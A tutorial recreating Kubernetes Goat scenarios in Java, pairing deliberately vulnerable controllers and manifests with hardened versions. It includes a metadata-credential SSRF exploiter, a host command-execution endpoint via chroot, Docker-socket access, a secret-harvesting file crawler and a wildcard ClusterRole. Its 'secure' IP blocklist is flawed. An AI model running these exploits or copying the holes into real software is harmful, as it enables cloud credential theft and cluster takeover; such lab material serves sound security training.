Article
Kubernetes Goat is a deliberately vulnerable Kubernetes cluster designed to help security professionals and developers understand and exploit common Kubernetes security issues. By implementing these scenarios in Java applications, we can better understand how application-level vulnerabilities interact with Kubernetes misconfigurations.
In this guide, we'll explore critical Kubernetes Goat scenarios implemented in Java, demonstrating vulnerabilities, exploitation techniques, and secure remediation practices.
Why Kubernetes Goat for Java Developers?
- Hands-On Security: Practical understanding of Kubernetes security risks
- Application Context: How Java apps can be exploited in misconfigured clusters
- Defense Strategies: Learn secure coding and configuration practices
- Compliance Awareness: Understand security requirements for production deployments
- DevSecOps Integration: Incorporate security testing into development workflows
Part 1: Project Setup and Vulnerable Application
1.1 Project Structure
kubernetes-goat-java/ ├── vulnerable-app/ │ ├── src/main/java/com/kubernetesgoat/ │ │ ├── scenario1/ # SSRF to Metadata API │ │ ├── scenario2/ # Container Escape │ │ ├── scenario3/ # RBAC Misconfiguration │ │ └── scenario4/ # Secrets Exposure │ ├── Dockerfile │ └── pom.xml ├── attacker-tools/ │ ├── ssrf-exploit/ │ ├── rbac-scanner/ │ └── secret-dumper/ ├── kubernetes/ │ ├── vulnerable/ │ │ ├── deployments/ │ │ └── rbac/ │ └── secure/ │ ├── deployments/ │ └── policies/ └── scripts/ ├── setup-goat.sh └── security-scans.sh
1.2 Dependencies for Vulnerable Application
<!-- vulnerable-app/pom.xml -->
<properties>
<spring-boot.version>3.1.0</spring-boot.version>
<kubernetes-client.version>6.7.2</kubernetes-client.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>${spring-boot.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<version>${spring-boot.version}</version>
</dependency>
<dependency>
<groupId>io.kubernetes</groupId>
<artifactId>client-java</artifactId>
<version>${kubernetes-client.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
<version>${spring-boot.version}</version>
</dependency>
</dependencies>
Part 2: Scenario 1 - SSRF to Kubernetes Metadata API
2.1 Vulnerable Implementation
// File: vulnerable-app/src/main/java/com/kubernetesgoat/scenario1/MetadataSSRFController.java
package com.kubernetesgoat.scenario1;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.http.*;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.client.RestTemplate;
import java.net.URI;
import java.util.HashMap;
import java.util.Map;
@RestController
@RequestMapping("/api/v1/ssrf")
public class MetadataSSRFController {
private static final Logger logger = LoggerFactory.getLogger(MetadataSSRFController.class);
private final RestTemplate restTemplate;
// Vulnerable: No URL validation or restriction
public MetadataSSRFController() {
this.restTemplate = new RestTemplate();
}
@PostMapping("/fetch")
public ResponseEntity<Map<String, Object>> fetchUrl(@RequestBody UrlRequest request) {
logger.info("Fetching URL: {}", request.getUrl());
try {
// VULNERABILITY: Direct URL fetch without validation
ResponseEntity<String> response = restTemplate.getForEntity(request.getUrl(), String.class);
Map<String, Object> result = new HashMap<>();
result.put("url", request.getUrl());
result.put("status", response.getStatusCodeValue());
result.put("content", response.getBody());
result.put("headers", response.getHeaders());
return ResponseEntity.ok(result);
} catch (Exception e) {
logger.error("Error fetching URL: {}", request.getUrl(), e);
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
.body(Map.of("error", e.getMessage()));
}
}
@GetMapping("/metadata/proxy")
public ResponseEntity<String> proxyMetadata(@RequestParam String path) {
// VULNERABILITY: Direct proxy to metadata API
String metadataUrl = "http://169.254.169.254" + path;
try {
ResponseEntity<String> response = restTemplate.getForEntity(metadataUrl, String.class);
return ResponseEntity.ok(response.getBody());
} catch (Exception e) {
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
.body("Error accessing metadata: " + e.getMessage());
}
}
// Helper method that demonstrates AWS metadata access
@GetMapping("/aws/metadata")
public ResponseEntity<Map<String, Object>> getAwsMetadata() {
String[] metadataPaths = {
"/latest/meta-data/",
"/latest/meta-data/iam/security-credentials/",
"/latest/meta-data/instance-id",
"/latest/meta-data/local-ipv4"
};
Map<String, Object> results = new HashMap<>();
for (String path : metadataPaths) {
try {
String url = "http://169.254.169.254" + path;
ResponseEntity<String> response = restTemplate.getForEntity(url, String.class);
results.put(path, response.getBody());
} catch (Exception e) {
results.put(path, "ERROR: " + e.getMessage());
}
}
return ResponseEntity.ok(results);
}
}
class UrlRequest {
private String url;
public String getUrl() { return url; }
public void setUrl(String url) { this.url = url; }
}
2.2 Exploitation Example
// File: attacker-tools/ssrf-exploit/MetadataExploiter.java
package com.kubernetesgoat.exploit;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import java.util.Map;
public class MetadataExploiter {
public static void main(String[] args) {
String targetUrl = "http://vulnerable-app:8080/api/v1/ssrf/fetch";
RestTemplate restTemplate = new RestTemplate();
// Exploit: Access Kubernetes metadata API
String[] metadataEndpoints = {
"http://169.254.169.254/",
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://169.254.169.254/latest/dynamic/instance-identity/document"
};
for (String endpoint : metadataEndpoints) {
try {
Map<String, String> request = Map.of("url", endpoint);
ResponseEntity<Map> response = restTemplate.postForEntity(targetUrl, request, Map.class);
System.out.println("=== " + endpoint + " ===");
System.out.println("Status: " + response.getBody().get("status"));
System.out.println("Content: " + response.getBody().get("content"));
System.out.println();
} catch (Exception e) {
System.out.println("Failed to access: " + endpoint + " - " + e.getMessage());
}
}
}
}
2.3 Secure Implementation
// File: vulnerable-app/src/main/java/com/kubernetesgoat/scenario1/SecureMetadataController.java
package com.kubernetesgoat.scenario1;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.client.RestTemplate;
import java.net.URL;
import java.util.Set;
import java.util.HashSet;
@RestController
@RequestMapping("/api/v1/secure/ssrf")
public class SecureMetadataController {
private final RestTemplate restTemplate;
private final Set<String> allowedDomains;
private final Set<String> blockedIpRanges;
public SecureMetadataController() {
this.restTemplate = new RestTemplate();
// Allowlist specific domains
this.allowedDomains = Set.of(
"api.example.com",
"storage.googleapis.com"
);
// Block sensitive IP ranges
this.blockedIpRanges = Set.of(
"169.254.169.254", // AWS Metadata
"100.64.0.0/10", // Kubernetes internal
"10.0.0.0/8", // Private networks
"172.16.0.0/12", // Private networks
"192.168.0.0/16" // Private networks
);
}
@PostMapping("/fetch")
public ResponseEntity<?> fetchUrlSecurely(@RequestBody SecureUrlRequest request) {
try {
// Validate URL
URL url = new URL(request.getUrl());
// Check against allowlist
if (!allowedDomains.contains(url.getHost())) {
return ResponseEntity.badRequest()
.body(Map.of("error", "Domain not allowed: " + url.getHost()));
}
// Check against blocked IP ranges
if (isBlockedIp(url.getHost())) {
return ResponseEntity.badRequest()
.body(Map.of("error", "Access to internal IP ranges blocked"));
}
// Fetch with timeout
ResponseEntity<String> response = restTemplate.getForEntity(request.getUrl(), String.class);
return ResponseEntity.ok(Map.of(
"url", request.getUrl(),
"status", response.getStatusCodeValue(),
"contentLength", response.getBody() != null ? response.getBody().length() : 0
));
} catch (Exception e) {
return ResponseEntity.badRequest()
.body(Map.of("error", "Invalid URL or access denied"));
}
}
private boolean isBlockedIp(String host) {
// Implement IP range checking logic
return blockedIpRanges.stream().anyMatch(host::startsWith);
}
}
class SecureUrlRequest {
private String url;
public String getUrl() { return url; }
public void setUrl(String url) { this.url = url; }
}
Part 3: Scenario 2 - Container Escape via Privileged Pod
3.1 Vulnerable Deployment
# kubernetes/vulnerable/privileged-pod.yaml apiVersion: apps/v1 kind: Deployment metadata: name: privileged-java-app labels: app: privileged-java-app spec: replicas: 1 selector: matchLabels: app: privileged-java-app template: metadata: labels: app: privileged-java-app spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: java-app image: vulnerable-java-app:latest securityContext: privileged: true runAsUser: 0 capabilities: add: - SYS_ADMIN - NET_ADMIN - SYS_PTRACE volumeMounts: - name: host-root mountPath: /host - name: docker-socket mountPath: /var/run/docker.sock - name: proc mountPath: /host-proc env: - name: HOST_PROC value: "/host-proc" resources: requests: memory: "256Mi" cpu: "250m" limits: memory: "512Mi" cpu: "500m" volumes: - name: host-root hostPath: path: / - name: docker-socket hostPath: path: /var/run/docker.sock - name: proc hostPath: path: /proc
3.2 Container Escape Exploitation
// File: vulnerable-app/src/main/java/com/kubernetesgoat/scenario2/ContainerEscapeController.java
package com.kubernetesgoat.scenario2;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.stream.Collectors;
@RestController
@RequestMapping("/api/v1/container-escape")
public class ContainerEscapeController {
private static final Logger logger = LoggerFactory.getLogger(ContainerEscapeController.class);
@GetMapping("/host-processes")
public ResponseEntity<List<String>> getHostProcesses() {
try {
// VULNERABILITY: Reading host processes through mounted /proc
File procDir = new File("/host-proc");
List<String> processes = Arrays.stream(procDir.listFiles())
.filter(File::isDirectory)
.filter(f -> f.getName().matches("\\d+"))
.map(f -> {
try {
String cmdline = new String(Files.readAllBytes(
Paths.get(f.getPath(), "cmdline")));
return f.getName() + ": " + cmdline.replace('\0', ' ');
} catch (IOException e) {
return f.getName() + ": [cannot read]";
}
})
.collect(Collectors.toList());
return ResponseEntity.ok(processes);
} catch (Exception e) {
return ResponseEntity.status(500)
.body(List.of("Error: " + e.getMessage()));
}
}
@GetMapping("/host-files")
public ResponseEntity<List<String>> readHostFiles(@RequestParam String path) {
try {
// VULNERABILITY: Reading arbitrary host files
File hostFile = new File("/host" + path);
if (hostFile.isDirectory()) {
String[] files = hostFile.list();
return ResponseEntity.ok(Arrays.asList(files != null ? files : new String[0]));
} else {
List<String> lines = Files.readAllLines(hostFile.toPath());
return ResponseEntity.ok(lines);
}
} catch (Exception e) {
return ResponseEntity.status(500)
.body(List.of("Error: " + e.getMessage()));
}
}
@PostMapping("/execute-host")
public ResponseEntity<Map<String, Object>> executeOnHost(@RequestBody ExecuteRequest request) {
try {
// VULNERABILITY: Executing commands with host access
ProcessBuilder pb = new ProcessBuilder("chroot", "/host", "sh", "-c", request.getCommand());
pb.redirectErrorStream(true);
Process process = pb.start();
String output = new BufferedReader(
new InputStreamReader(process.getInputStream()))
.lines().collect(Collectors.joining("\n"));
int exitCode = process.waitFor();
return ResponseEntity.ok(Map.of(
"command", request.getCommand(),
"exitCode", exitCode,
"output", output
));
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
@GetMapping("/docker-info")
public ResponseEntity<Map<String, Object>> getDockerInfo() {
try {
// VULNERABILITY: Accessing Docker socket
ProcessBuilder pb = new ProcessBuilder("curl", "-s", "--unix-socket",
"/var/run/docker.sock", "http://localhost/containers/json");
Process process = pb.start();
String output = new BufferedReader(
new InputStreamReader(process.getInputStream()))
.lines().collect(Collectors.joining("\n"));
return ResponseEntity.ok(Map.of("containers", output));
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
}
class ExecuteRequest {
private String command;
public String getCommand() { return command; }
public void setCommand(String command) { this.command = command; }
}
3.3 Secure Deployment
# kubernetes/secure/secure-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: secure-java-app
labels:
app: secure-java-app
spec:
replicas: 2
selector:
matchLabels:
app: secure-java-app
template:
metadata:
labels:
app: secure-java-app
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
containers:
- name: java-app
image: secure-java-app:latest
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
resources:
requests:
memory: "256Mi"
cpu: "250m"
limits:
memory: "512Mi"
cpu: "500m"
volumeMounts:
- name: tmp
mountPath: /tmp
readOnly: false
volumes:
- name: tmp
emptyDir: {}
Part 4: Scenario 3 - RBAC Misconfiguration
4.1 Over-Privileged Service Account
# kubernetes/vulnerable/rbac/over-privileged.yaml apiVersion: v1 kind: ServiceAccount metadata: name: overprivileged-sa namespace: default --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: overprivileged-role rules: - apiGroups: [""] resources: ["*"] verbs: ["*"] - apiGroups: ["*"] resources: ["*"] verbs: ["*"] - apiGroups: ["rbac.authorization.k8s.io"] resources: ["*"] verbs: ["*"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: overprivileged-binding subjects: - kind: ServiceAccount name: overprivileged-sa namespace: default roleRef: kind: ClusterRole name: overprivileged-role apiGroup: rbac.authorization.k8s.io
4.2 Kubernetes API Exploitation
// File: vulnerable-app/src/main/java/com/kubernetesgoat/scenario3/KubernetesAPIController.java
package com.kubernetesgoat.scenario3;
import io.kubernetes.client.openapi.ApiClient;
import io.kubernetes.client.openapi.Configuration;
import io.kubernetes.client.openapi.apis.CoreV1Api;
import io.kubernetes.client.openapi.apis.RbacAuthorizationV1Api;
import io.kubernetes.client.openapi.models.V1PodList;
import io.kubernetes.client.openapi.models.V1SecretList;
import io.kubernetes.client.openapi.models.V1ServiceAccountList;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.HashMap;
import java.util.Map;
@RestController
@RequestMapping("/api/v1/k8s")
public class KubernetesAPIController {
private static final Logger logger = LoggerFactory.getLogger(KubernetesAPIController.class);
private final CoreV1Api coreV1Api;
private final RbacAuthorizationV1Api rbacApi;
public KubernetesAPIController() {
try {
// VULNERABILITY: Using default service account with excessive permissions
ApiClient client = io.kubernetes.client.util.Config.defaultClient();
Configuration.setDefaultApiClient(client);
this.coreV1Api = new CoreV1Api();
this.rbacApi = new RbacAuthorizationV1Api();
} catch (Exception e) {
throw new RuntimeException("Failed to initialize Kubernetes client", e);
}
}
@GetMapping("/pods")
public ResponseEntity<Map<String, Object>> listAllPods() {
try {
// VULNERABILITY: Listing pods across all namespaces
V1PodList podList = coreV1Api.listPodForAllNamespaces()
.execute();
return ResponseEntity.ok(Map.of(
"pods", podList.getItems().stream()
.map(pod -> Map.of(
"name", pod.getMetadata().getName(),
"namespace", pod.getMetadata().getNamespace(),
"node", pod.getSpec().getNodeName()
))
.toList()
));
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
@GetMapping("/secrets")
public ResponseEntity<Map<String, Object>> listSecrets(@RequestParam(required = false) String namespace) {
try {
// VULNERABILITY: Accessing secrets
V1SecretList secretList = namespace != null ?
coreV1Api.listNamespacedSecret(namespace).execute() :
coreV1Api.listSecretForAllNamespaces().execute();
return ResponseEntity.ok(Map.of(
"secrets", secretList.getItems().stream()
.map(secret -> Map.of(
"name", secret.getMetadata().getName(),
"namespace", secret.getMetadata().getNamespace(),
"type", secret.getType()
))
.toList()
));
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
@PostMapping("/create-sa")
public ResponseEntity<Map<String, Object>> createServiceAccount(@RequestBody CreateSARequest request) {
try {
// VULNERABILITY: Creating new service accounts with cluster-admin
Map<String, Object> result = new HashMap<>();
// This demonstrates the excessive permissions
V1ServiceAccountList saList = coreV1Api.listServiceAccountForAllNamespaces()
.execute();
result.put("existingServiceAccounts", saList.getItems().size());
return ResponseEntity.ok(result);
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
@GetMapping("/rbac/check")
public ResponseEntity<Map<String, Object>> checkRBAC() {
try {
// Check current permissions
Map<String, Object> permissions = new HashMap<>();
// Try various operations to see what's allowed
permissions.put("canListPods", canListPods());
permissions.put("canListSecrets", canListSecrets());
permissions.put("canCreatePods", canCreatePods());
return ResponseEntity.ok(permissions);
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
private boolean canListPods() {
try {
coreV1Api.listPodForAllNamespaces().execute();
return true;
} catch (Exception e) {
return false;
}
}
private boolean canListSecrets() {
try {
coreV1Api.listSecretForAllNamespaces().execute();
return true;
} catch (Exception e) {
return false;
}
}
private boolean canCreatePods() {
try {
// Just check if we have create permissions, don't actually create
coreV1Api.getAPIResources().execute();
return true;
} catch (Exception e) {
return false;
}
}
}
class CreateSARequest {
private String name;
private String namespace;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public String getNamespace() { return namespace; }
public void setNamespace(String namespace) { this.namespace = namespace; }
}
4.3 Secure RBAC Configuration
# kubernetes/secure/rbac/least-privilege.yaml apiVersion: v1 kind: ServiceAccount metadata: name: least-privilege-sa namespace: default --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: default name: app-role rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list"] - apiGroups: [""] resources: ["configmaps"] verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: app-role-binding namespace: default subjects: - kind: ServiceAccount name: least-privilege-sa namespace: default roleRef: kind: Role name: app-role apiGroup: rbac.authorization.k8s.io
Part 5: Scenario 4 - Secrets Exposure
5.1 Insecure Secrets Handling
// File: vulnerable-app/src/main/java/com/kubernetesgoat/scenario4/InsecureSecretsController.java
package com.kubernetesgoat.scenario4;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.stream.Collectors;
@RestController
@RequestMapping("/api/v1/secrets")
public class InsecureSecretsController {
private static final Logger logger = LoggerFactory.getLogger(InsecureSecretsController.class);
// VULNERABILITY: Hardcoded secrets
private static final String API_KEY = "supersecret123";
private static final String DB_PASSWORD = "mysqlpass456";
@GetMapping("/hardcoded")
public ResponseEntity<Map<String, String>> getHardcodedSecrets() {
// VULNERABILITY: Exposing hardcoded secrets
return ResponseEntity.ok(Map.of(
"apiKey", API_KEY,
"dbPassword", DB_PASSWORD
));
}
@GetMapping("/env")
public ResponseEntity<Map<String, String>> getEnvironmentVariables() {
// VULNERABILITY: Exposing all environment variables
Map<String, String> envVars = new HashMap<>();
System.getenv().forEach((key, value) -> {
// Filter out obviously sensitive variables (but this is still dangerous)
if (key.toLowerCase().contains("secret") ||
key.toLowerCase().contains("password") ||
key.toLowerCase().contains("key")) {
envVars.put(key, value);
}
});
return ResponseEntity.ok(envVars);
}
@GetMapping("/filesystem")
public ResponseEntity<Map<String, Object>> exploreFilesystem(@RequestParam String path) {
try {
// VULNERABILITY: Exploring filesystem for secrets
File directory = new File(path);
Map<String, Object> result = new HashMap<>();
if (directory.isDirectory()) {
List<String> files = Arrays.stream(directory.listFiles())
.map(File::getName)
.collect(Collectors.toList());
result.put("files", files);
} else {
// Try to read file contents
String content = new String(Files.readAllBytes(Paths.get(path)));
result.put("content", content);
}
return ResponseEntity.ok(result);
} catch (Exception e) {
return ResponseEntity.status(500)
.body(Map.of("error", e.getMessage()));
}
}
@GetMapping("/kubernetes-secrets")
public ResponseEntity<List<String>> getKubernetesSecrets() {
try {
// VULNERABILITY: Attempting to read Kubernetes secrets from mounted volumes
List<String> secrets = new ArrayList<>();
// Common Kubernetes secret mount paths
String[] secretPaths = {
"/var/run/secrets/kubernetes.io/",
"/etc/kubernetes/",
"/var/lib/kubelet/",
"/run/secrets/",
"/tmp/secrets/"
};
for (String basePath : secretPaths) {
File baseDir = new File(basePath);
if (baseDir.exists()) {
secrets.addAll(findSecretsRecursive(baseDir, ""));
}
}
return ResponseEntity.ok(secrets);
} catch (Exception e) {
return ResponseEntity.status(500)
.body(List.of("Error: " + e.getMessage()));
}
}
private List<String> findSecretsRecursive(File dir, String relativePath) {
List<String> secrets = new ArrayList<>();
try {
File[] files = dir.listFiles();
if (files != null) {
for (File file : files) {
String currentPath = relativePath + "/" + file.getName();
if (file.isDirectory()) {
secrets.addAll(findSecretsRecursive(file, currentPath));
} else {
// Check if file might contain secrets
if (file.getName().toLowerCase().contains("secret") ||
file.getName().toLowerCase().contains("password") ||
file.getName().toLowerCase().contains("token") ||
file.getName().toLowerCase().contains("key")) {
try {
String content = new String(Files.readAllBytes(file.toPath()));
secrets.add(currentPath + ": " + content.substring(0, Math.min(50, content.length())));
} catch (IOException e) {
secrets.add(currentPath + ": [cannot read]");
}
}
}
}
}
} catch (Exception e) {
// Ignore permission errors
}
return secrets;
}
}
5.2 Secure Secrets Management
// File: vulnerable-app/src/main/java/com/kubernetesgoat/scenario4/SecureSecretsController.java
package com.kubernetesgoat.scenario4;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Map;
@RestController
@RequestMapping("/api/v1/secure/secrets")
public class SecureSecretsController {
// Secure: Use environment variables or Kubernetes secrets
@Value("${app.api.key:}")
private String apiKey;
@Value("${app.db.password:}")
private String dbPassword;
@GetMapping("/status")
public ResponseEntity<Map<String, Object>> getSecretStatus() {
// Don't expose actual secret values
boolean apiKeyConfigured = apiKey != null && !apiKey.isEmpty();
boolean dbPasswordConfigured = dbPassword != null && !dbPassword.isEmpty();
return ResponseEntity.ok(Map.of(
"apiKeyConfigured", apiKeyConfigured,
"dbPasswordConfigured", dbPasswordConfigured,
"secretsSource", "kubernetes-secrets"
));
}
@GetMapping("/masked")
public ResponseEntity<Map<String, String>> getMaskedSecrets() {
// Return masked versions for debugging
return ResponseEntity.ok(Map.of(
"apiKey", maskSecret(apiKey),
"dbPassword", maskSecret(dbPassword)
));
}
private String maskSecret(String secret) {
if (secret == null || secret.isEmpty()) {
return "[NOT_SET]";
}
if (secret.length() <= 4) {
return "****";
}
return secret.substring(0, 2) + "****" + secret.substring(secret.length() - 2);
}
}
5.3 Secure Kubernetes Secrets Configuration
# kubernetes/secure/secrets/secure-secrets.yaml apiVersion: v1 kind: Secret metadata: name: app-secrets namespace: default type: Opaque data: api-key: c3VwZXJzZWNyZXRhcGlrZXkxMjM= # base64 encoded db-password: bXlzcWxwYXNzd29yZDQ1Ng== --- apiVersion: apps/v1 kind: Deployment metadata: name: secure-secrets-app spec: template: spec: serviceAccountName: least-privilege-sa containers: - name: app image: secure-java-app:latest env: - name: APP_API_KEY valueFrom: secretKeyRef: name: app-secrets key: api-key - name: APP_DB_PASSWORD valueFrom: secretKeyRef: name: app-secrets key: db-password securityContext: readOnlyRootFilesystem: true
Part 6: Security Scanning and Detection
6.1 Security Scanner Implementation
// File: attacker-tools/security-scanner/KubernetesSecurityScanner.java
package com.kubernetesgoat.scanner;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import java.util.*;
public class KubernetesSecurityScanner {
private final RestTemplate restTemplate;
private final String baseUrl;
public KubernetesSecurityScanner(String baseUrl) {
this.restTemplate = new RestTemplate();
this.baseUrl = baseUrl;
}
public void runFullScan() {
System.out.println("🔍 Starting Kubernetes Goat Security Scan");
System.out.println("Target: " + baseUrl);
System.out.println();
scanSSRFVulnerabilities();
scanContainerEscape();
scanRBACMisconfigurations();
scanSecretsExposure();
}
private void scanSSRFVulnerabilities() {
System.out.println("=== SSRF Vulnerability Scan ===");
try {
// Test metadata access
String[] testUrls = {
"http://169.254.169.254/",
"http://localhost/",
"http://kubernetes.default.svc.cluster.local/"
};
for (String url : testUrls) {
Map<String, String> request = Map.of("url", url);
ResponseEntity<Map> response = restTemplate.postForEntity(
baseUrl + "/api/v1/ssrf/fetch", request, Map.class);
if (response.getStatusCode().is2xxSuccessful()) {
System.out.println("❌ VULNERABLE: SSRF to " + url);
System.out.println(" Response: " + response.getBody());
}
}
} catch (Exception e) {
System.out.println("✅ SSRF protection might be working: " + e.getMessage());
}
}
private void scanContainerEscape() {
System.out.println("\n=== Container Escape Scan ===");
try {
// Check host process access
ResponseEntity<List> response = restTemplate.getForEntity(
baseUrl + "/api/v1/container-escape/host-processes", List.class);
if (response.getStatusCode().is2xxSuccessful() &&
response.getBody() != null &&
!response.getBody().isEmpty()) {
System.out.println("❌ VULNERABLE: Container escape via host process access");
System.out.println(" Found " + response.getBody().size() + " host processes");
}
} catch (Exception e) {
System.out.println("✅ Container escape protection might be working");
}
}
private void scanRBACMisconfigurations() {
System.out.println("\n=== RBAC Misconfiguration Scan ===");
try {
ResponseEntity<Map> response = restTemplate.getForEntity(
baseUrl + "/api/v1/k8s/rbac/check", Map.class);
if (response.getStatusCode().is2xxSuccessful()) {
Map<String, Object> permissions = response.getBody();
System.out.println("📋 Current Permissions:");
permissions.forEach((key, value) -> {
System.out.println(" " + key + ": " + value);
if (Boolean.TRUE.equals(value)) {
System.out.println(" ⚠️ Excessive permission detected");
}
});
}
} catch (Exception e) {
System.out.println("✅ RBAC might be properly configured");
}
}
private void scanSecretsExposure() {
System.out.println("\n=== Secrets Exposure Scan ===");
try {
ResponseEntity<Map> response = restTemplate.getForEntity(
baseUrl + "/api/v1/secrets/hardcoded", Map.class);
if (response.getStatusCode().is2xxSuccessful()) {
System.out.println("❌ VULNERABLE: Hardcoded secrets exposed");
Map<String, String> secrets = response.getBody();
secrets.forEach((key, value) -> {
System.out.println(" " + key + ": " + value);
});
}
} catch (Exception e) {
System.out.println("✅ Hardcoded secrets not directly exposed");
}
try {
ResponseEntity<List> response = restTemplate.getForEntity(
baseUrl + "/api/v1/secrets/kubernetes-secrets", List.class);
if (response.getStatusCode().is2xxSuccessful() &&
response.getBody() != null &&
!response.getBody().isEmpty()) {
System.out.println("❌ VULNERABLE: Kubernetes secrets accessible");
System.out.println(" Found " + response.getBody().size() + " potential secrets");
}
} catch (Exception e) {
System.out.println("✅ Kubernetes secrets protection might be working");
}
}
public static void main(String[] args) {
String targetUrl = args.length > 0 ? args[0] : "http://localhost:8080";
KubernetesSecurityScanner scanner = new KubernetesSecurityScanner(targetUrl);
scanner.runFullScan();
}
}
Part 7: Remediation and Secure Configuration
7.1 Security Context Hardening
# kubernetes/secure/security-context.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: secured-java-app
spec:
template:
metadata:
labels:
app: secured-java-app
spec:
# Pod Security Context
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: java-app
image: secured-java-app:latest
# Container Security Context
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
seccompProfile:
type: RuntimeDefault
env:
- name: JAVA_OPTS
value: "-Djava.security.egd=file:/dev/./urandom -Dspring.devtools.add-properties=false"
volumeMounts:
- name: tmp
mountPath: /tmp
- name: logs
mountPath: /app/logs
volumes:
- name: tmp
emptyDir:
medium: Memory
- name: logs
emptyDir: {}
7.2 Network Policies
# kubernetes/secure/network-policies.yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all
namespace: default
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: java-app-allow
namespace: default
spec:
podSelector:
matchLabels:
app: secured-java-app
policyTypes:
- Ingress
- Egress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: ingress-namespace
ports:
- protocol: TCP
port: 8080
egress:
- to:
- ipBlock:
cidr: 10.0.0.0/8
ports:
- protocol: TCP
port: 443
- protocol: TCP
port: 80
Best Practices for Kubernetes Security with Java
- Principle of Least Privilege: Always use minimal required permissions
- Security Contexts: Configure runAsNonRoot and drop all capabilities
- Secrets Management: Never hardcode secrets; use Kubernetes Secrets or external systems
- Network Policies: Restrict pod-to-pod communication
- Regular Scanning: Implement security scanning in CI/CD pipelines
- Runtime Protection: Use tools like Falco for runtime security monitoring
- Image Security: Scan container images for vulnerabilities
- API Security: Validate and sanitize all inputs, especially URLs
Conclusion
Implementing Kubernetes Goat scenarios in Java provides invaluable insights into real-world Kubernetes security vulnerabilities. By understanding these attack vectors:
- Developers can write more secure code with awareness of potential exploits
- Operators can configure Kubernetes more securely with proper RBAC and security contexts
- Security teams can develop better detection rules for these attack patterns
- Organizations can establish comprehensive security practices across development and operations
The key takeaway is that security requires a defense-in-depth approach, combining secure application code, proper Kubernetes configuration, network security, and continuous monitoring to protect against evolving threats.
Java Logistics, Shipping Integration & Enterprise Inventory Automation (Tracking, ERP, RFID & Billing Systems)
https://macronepal.com/blog/aftership-tracking-in-java-enterprise-package-visibility/
Explains how to integrate AfterShip tracking services into Java applications to provide real-time shipment visibility, delivery status updates, and centralized tracking across multiple courier services.
https://macronepal.com/blog/shipping-integration-using-fedex-api-with-java-for-logistics-automation/
Explains how to integrate the FedEx API into Java systems to automate shipping tasks such as creating shipments, calculating delivery costs, generating shipping labels, and tracking packages.
https://macronepal.com/blog/shipping-and-logistics-integrating-ups-apis-with-java-applications/
Explains UPS API integration in Java to enable automated shipping operations including rate calculation, shipment scheduling, tracking, and delivery confirmation management.
https://macronepal.com/blog/generating-and-reading-qr-codes-for-products-in-java/
Explains how Java applications generate and read QR codes for product identification, tracking, and authentication, supporting faster inventory handling and product verification processes.
https://macronepal.com/blog/designing-a-robust-pick-and-pack-workflow-in-java/
Explains how to design an efficient pick-and-pack workflow in Java warehouse systems, covering order processing, item selection, packaging steps, and logistics preparation to improve fulfillment efficiency.
https://macronepal.com/blog/rfid-inventory-management-system-in-java-a-complete-guide/
